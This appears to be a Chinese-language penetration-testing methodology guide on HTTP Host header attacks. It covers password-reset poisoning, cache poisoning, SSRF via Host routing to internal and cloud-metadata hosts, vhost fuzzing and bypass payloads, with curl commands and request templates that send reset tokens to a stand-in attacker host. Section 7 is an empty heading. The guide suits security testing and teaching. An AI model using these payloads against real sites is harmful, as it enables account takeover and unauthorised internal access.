Http Host Header Attacks

HTTP Host Header 攻击方法论

相关 skill：缓存投毒/请求走私 → cache-poisoning-smuggling；SSRF → ssrf-methodology；403/401 绕过 → 401-403-bypass

---

1. 核心概念

HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站（虚拟主机路由）。很多应用在以下场景信任 Host header 的值：

• 生成密码重置链接
• 生成绝对 URL
• 缓存键计算
• 路由到内部后端
• 访问控制决策

如果应用不验证 Host header，攻击者可以操纵它来投毒链接、缓存或路由。

---

2. 密码重置投毒

原理

POST /forgot-password HTTP/1.1
Host: evil-server.com                    ← 攻击者替换
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为：

https://evil-server.com/reset?token=abc123

受害者点击链接 → token 发送到攻击者服务器。

检测

# 正常请求（记录原始链接格式）
curl -X POST https://target.com/forgot-password \
  -d "email=test@target.com"

# Host 注入
curl -X POST https://target.com/forgot-password \
  -H "Host: evil-server.com" \
  -d "email=victim@target.com"

# 检查邮件中的链接是否包含 evil-server.com

绕过变体

如果直接替换 Host 被拒绝（400/403）：

# 1. X-Forwarded-Host（最常用）
Host: target.com
X-Forwarded-Host: evil-server.com

# 2. 端口注入
Host: target.com:@evil-server.com

# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com

# 4. 双 Host header
Host: target.com
Host: evil-server.com

# 5. 换行符注入
Host: target.com
 X-Forwarded-Host: evil-server.com

---

3. Web 缓存投毒

原理

如果缓存键不包含 Host header，但响应中的内容受 Host 影响：

GET /static/main.js HTTP/1.1
Host: evil-server.com

# 响应中:
# var redirectUrl = "https://evil-server.com/dashboard";

此响应被缓存 → 后续所有用户访问该 JS 文件时都会获取被投毒的版本。

检测

# 步骤 1: 发送带修改 Host 的请求
curl -s https://target.com/index.html \
  -H "Host: test-cache-poison.com" \
  | grep "test-cache-poison"

# 步骤 2: 正常访问同一 URL，检查缓存是否返回投毒内容
curl -s https://target.com/index.html | grep "test-cache-poison"

配合 X-Forwarded-Host

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil-server.com

很多框架（Django、Laravel、Rails）优先读取 X-Forwarded-Host 生成 URL，但 CDN 缓存键只看 Host。

---

4. 通过 Host 路由的 SSRF

后端路由场景

反向代理根据 Host header 决定转发到哪个后端：

GET / HTTP/1.1
Host: internal-admin.target.com    ← 内部虚拟主机

GET / HTTP/1.1
Host: 169.254.169.254              ← 云元数据

Absolute URI 绕过

GET https://target.com/ HTTP/1.1
Host: 169.254.169.254

某些代理使用 absolute URI 的 host 做 ACL 检查，但用 Host header 做路由。

---

5. 虚拟主机枚举

发现隐藏的内部站点

# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <default-size>

# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"

内部面板典型名称

admin, staging, dev, test, internal, api-internal, 
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management

---

6. 绕过技术（7 种）

6.1 X-Forwarded-Host

Host: target.com
X-Forwarded-Host: evil.com

6.2 双 Host Header

Host: target.com
Host: evil.com

不同中间件取第一个或最后一个 — 代理和后端不一致时产生绕过。

6.3 绝对 URI

GET https://target.com/path HTTP/1.1
Host: evil.com

6.4 Host 端口注入

Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:80@evil.com

6.5 其他 Override Header

X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com

6.6 换行符 / CRLF 注入

Host: target.com%0d%0aX-Forwarded-Host: evil.com

6.7 Tab / 空格

Host: target.com	evil.com
Host: target.com evil.com

---

7. 框架特定行为

---

8. Connection State 攻击

HTTP/1.1 Keep-Alive 场景下，部分反向代理只在第一个请求验证 Host，后续请求复用连接：

请求 1: Host: target.com      → 代理验证通过，建立连接
请求 2: Host: internal.com    → 代理不再验证，直接转发 → 访问内部站点

---

9. 决策树

目标有 Host header 注入点？
├── 密码重置功能？
│   ├── 直接替换 Host → 检查邮件链接
│   ├── 403/400？→ X-Forwarded-Host / 双 Host / 端口注入
│   └── 邮件含恶意域名？→ 密码重置投毒成功
├── 有缓存（CDN/Varnish/Nginx）？
│   ├── Host/X-Forwarded-Host 影响响应内容？
│   ├── 响应是否被缓存（X-Cache: HIT）？
│   └── 两者都是？→ Web 缓存投毒
├── 反向代理后多个后端？
│   ├── 枚举 vhost（ffuf + Host fuzz）
│   ├── Host: 169.254.169.254 → 云元数据 SSRF
│   └── Host: internal-admin → 内部面板访问
├── Connection State
│   └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 其他思路
    ├── 请求走私 → cache-poisoning-smuggling
    ├── SSRF 直接打 → ssrf-methodology
    └── 子域名接管 → subdomain-takeover